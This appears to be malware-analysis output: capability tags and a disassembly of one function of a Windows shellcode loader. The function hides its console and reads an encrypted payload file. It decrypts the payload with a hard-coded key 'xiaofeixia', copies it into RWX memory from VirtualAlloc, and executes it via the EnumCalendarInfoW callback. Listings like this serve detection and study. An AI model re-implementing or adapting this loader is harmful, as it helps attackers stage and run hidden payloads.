Function at 0x140007030
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
sub rsp, 0x2e0
mov rax, qword [0x14000e080]
xor rax, rsp
mov qword [rsp + 0x2d8], rax
call qword [0x14000e118]
inc qword [r12 + 0xa50]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
nop
inc qword [r12 + 0xa58]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
nop
inc qword [r12 + 0xa60]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
nop
inc qword [r12 + 0xa68]
mov rbx, rax
mov edx, 0xfffffff0
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
nop
inc qword [r12 + 0xa70]
btr eax, 0x1c
mov r8d, eax
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
nop
inc qword [r12 + 0xa78]
lea rdx, str.akm.dat
lea rcx, [rsp + 0x2b8]
movabs r11, 1
movabs r10, 0xab
call fcn.140003bf0
nop
inc qword [r12 + 0xa80]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x170]
call sub.VCRUNTIME140.dll_memset
mov ebx, 1
mov dword [rsp + 0x20], ebx
lea r9d, [rbx + 0x3f]
mov r8d, ebx
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x170]
inc qword [r12 + 0xa88]
movabs r11, 1
movabs r10, 0x9c
call fcn.140003520
inc qword [r12 + 0xa90]
mov rax, qword [rsp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x170]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
nop
inc qword [r12 + 0xa98]
test al, al
je 0x140007203
lea rdx, str.open_config_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
inc qword [r12 + 0xaa0]
call fcn.140004ac0
nop
inc qword [r12 + 0xaa8]
mov rcx, rax
lea rdx, [rsp + 0x2b8]
movabs r11, 1
movabs r10, 0x89
call fcn.1400024d0
nop
inc qword [r12 + 0xab0]
mov rcx, rax
lea rdx, [0x140005380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
inc qword [r12 + 0xab8]
jmp 0x1400075ee
lea rcx, [rsp + 0x298]
inc qword [r12 + 0xac0]
movabs r11, 1
movabs r10, 0x28
call fcn.140002960
nop
inc qword [r12 + 0xac8]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x170]
movabs r11, 1
movabs r10, 0x27
call fcn.140003ca0
nop
inc qword [r12 + 0xad0]
lea rcx, [rsp + 0x170]
movabs r11, 1
movabs r10, 0x21
call fcn.140002a30
nop
inc qword [r12 + 0xad8]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x60]
inc qword [r12 + 0xae0]
movabs r11, 1
movabs r10, 0x8d
call fcn.140003520
nop
inc qword [r12 + 0xae8]
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
nop
inc qword [r12 + 0xaf0]
test al, al
je 0x14000737b
lea rdx, str.open_encrypted_file_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
inc qword [r12 + 0xaf8]
call fcn.140004ac0
nop
inc qword [r12 + 0xb00]
mov rcx, rax
lea rdx, [rsp + 0x298]
movabs r11, 1
movabs r10, 0x85
call fcn.1400024d0
nop
inc qword [r12 + 0xb08]
mov rcx, rax
lea rdx, [0x140005380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
inc qword [r12 + 0xb10]
jmp 0x140007595
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rsp + 0x60]
inc qword [r12 + 0xb18]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
nop
inc qword [r12 + 0xb20]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
nop
inc qword [r12 + 0xb28]
mov rsi, qword [rax + 8]
add rsi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
nop
inc qword [r12 + 0xb30]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x280], xmm0
mov qword [rsp + 0x290], rax
mov rdx, rsi
lea rcx, [rsp + 0x280]
movabs r11, 1
movabs r10, 9
call fcn.140003880
nop
inc qword [r12 + 0xb38]
mov r8, rsi
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
nop
inc qword [r12 + 0xb40]
lea rcx, [rsp + 0x60]
movabs r11, 1
movabs r10, 0x1b
call fcn.140002a30
nop
inc qword [r12 + 0xb48]
movsd xmm0, qword [str.xiaofeixia]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400096c0]
mov word [rsp + 0x38], ax
movzx eax, byte [0x1400096c2]
mov byte [rsp + 0x3a], al
mov r9d, 0xa
lea r8, [rsp + 0x30]
mov rdx, rsi
mov rcx, qword [rsp + 0x280]
movabs r11, 1
movabs r10, 8
call fcn.140001cd0
nop
inc qword [r12 + 0xb50]
mov rcx, rsi
call fcn.140003dc4
nop
inc qword [r12 + 0xb58]
mov rdi, rax
mov r8, rax
mov rdx, qword [rsp + 0x288]
mov rcx, qword [rsp + 0x280]
movabs r11, 1
movabs r10, 6
call fcn.140001110
nop
inc qword [r12 + 0xb60]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
inc qword [r12 + 0xb68]
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
inc qword [r12 + 0xb70]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
nop
inc qword [r12 + 0xb78]
mov rcx, rdi
call fcn.140003d80
nop
inc qword [r12 + 0xb80]
xor ebx, ebx
lea rcx, [rsp + 0x280]
movabs r11, 1
movabs r10, 2
call fcn.1400028f0
nop
lea rcx, [rsp + 0x60]
inc qword [r12 + 0xb88]
movabs r11, 1
movabs r10, 0x61
call fcn.140002f50
nop
inc qword [r12 + 0xb90]
lea rcx, [rsp + 0x298]
movabs r11, 1
movabs r10, 0x34
call fcn.1400029c0
nop
inc qword [r12 + 0xb98]
lea rcx, [rsp + 0x170]
inc qword [r12 + 0xba0]
movabs r11, 1
movabs r10, 0x58
call fcn.140002f50
inc qword [r12 + 0xba8]
lea rcx, [rsp + 0x2b8]
movabs r11, 1
movabs r10, 0x2b
call fcn.1400029c0
nop
inc qword [r12 + 0xbb0]
mov eax, ebx
mov rcx, qword [rsp + 0x2d8]
xor rcx, rsp
call fcn.140003d60
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r12
ret